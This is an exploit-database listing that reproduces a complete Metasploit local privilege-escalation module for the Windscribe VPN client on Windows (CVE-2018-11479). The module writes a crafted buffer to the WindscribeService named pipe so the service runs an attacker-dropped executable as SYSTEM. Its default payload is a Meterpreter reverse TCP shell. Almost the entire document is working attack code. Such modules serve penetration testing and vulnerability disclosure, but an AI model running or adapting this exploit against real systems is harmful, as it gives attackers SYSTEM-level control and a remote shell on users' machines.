Windscribe - WindscribeService Named Pipe Privilege Escalation (Metasploit)

2020-02-07
ID: 102584
CVE: None
Download vulnerable application: None
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::EXE
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::Services
  include Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windscribe WindscribeService Named Pipe Privilege Escalation',
      'Description'    => %q{
        The Windscribe VPN client application for Windows makes use of a
        Windows service `WindscribeService.exe` which exposes a named pipe
        `\\.\pipe\WindscribeService` allowing execution of programs with
        elevated privileges.

        Windscribe versions prior to 1.82 do not validate user-supplied
        program names, allowing execution of arbitrary commands as SYSTEM.

        This module has been tested successfully on Windscribe versions
        1.80 and 1.81 on Windows 7 SP1 (x64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'Emin Ghuliev', # Discovery and exploit
        'bcoles'        # Metasploit
      ],
      'References'     =>
        [
          ['CVE', '2018-11479'],
          ['URL', 'http://blog.emingh.com/2018/05/windscribe-vpn-privilege-escalation.html'],
          ['URL', 'https://pastebin.com/eLG3dpYK']
        ],
      'Platform'       => ['win'],
      'SessionTypes'   => ['meterpreter'],
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => '2018-05-24',
      'DefaultOptions' =>
        {
          'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
        },
      'Notes'          =>
        {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'DefaultTarget'  => 0))
    register_advanced_options [
      OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]),
    ]
  end

  def base_dir
    datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
  end

  def service_exists?(service)
    srv_info = service_info(service)

    if srv_info.nil?
      vprint_warning 'Unable to enumerate Windows services'
      return false
    end

    if srv_info && srv_info[:display].empty?
      return false
    end

    true
  end

  def write_named_pipe(pipe, command)
    kt = "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00"
    kt << [command.force_encoding('UTF-8').codepoints.map { |c| "%04X" % c }.join].pack('H*')
    kt << "\x00" * (32_005 - kt.length)

    print_status "Sending #{command} to #{pipe} ..."

    r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0, nil, 'OPEN_EXISTING', 0, nil)
    handle = r['return']

    if handle == 0xffffffff # INVALID_HANDLE_VALUE
      print_error "Invalid handle. #{pipe} named pipe not found, or already opened"
      return false
    end

    vprint_good("Opended #{pipe}! Proceeding ...")

    begin
      w = client.railgun.kernel32.WriteFile(handle, kt, kt.length, 4, nil)
      if w['return'] == false
        return false
      end
    ensure
      session.railgun.kernel32.CloseHandle(handle)
    end

    true
  rescue
    false
  end

  def check
    service = 'WindscribeService'

    unless service_exists? service
      return CheckCode::Safe("Service '#{service}' does not exist")
    end

    CheckCode::Detected
  end

  def exploit
    unless check == CheckCode::Detected
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_system?
      fail_with Failure::BadConfig, 'Session already has SYSTEM privileges'
    end

    payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
    payload_exe = generate_payload_exe
    vprint_status "Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ..."
    write_file payload_path, payload_exe
    register_file_for_cleanup payload_path

    unless write_named_pipe("\\\\.\\pipe\\WindscribeService", payload_path)
      fail_with Failure::Unknown, 'Failed to write to pipe'
    end
  end
end
1-4-2 (www01)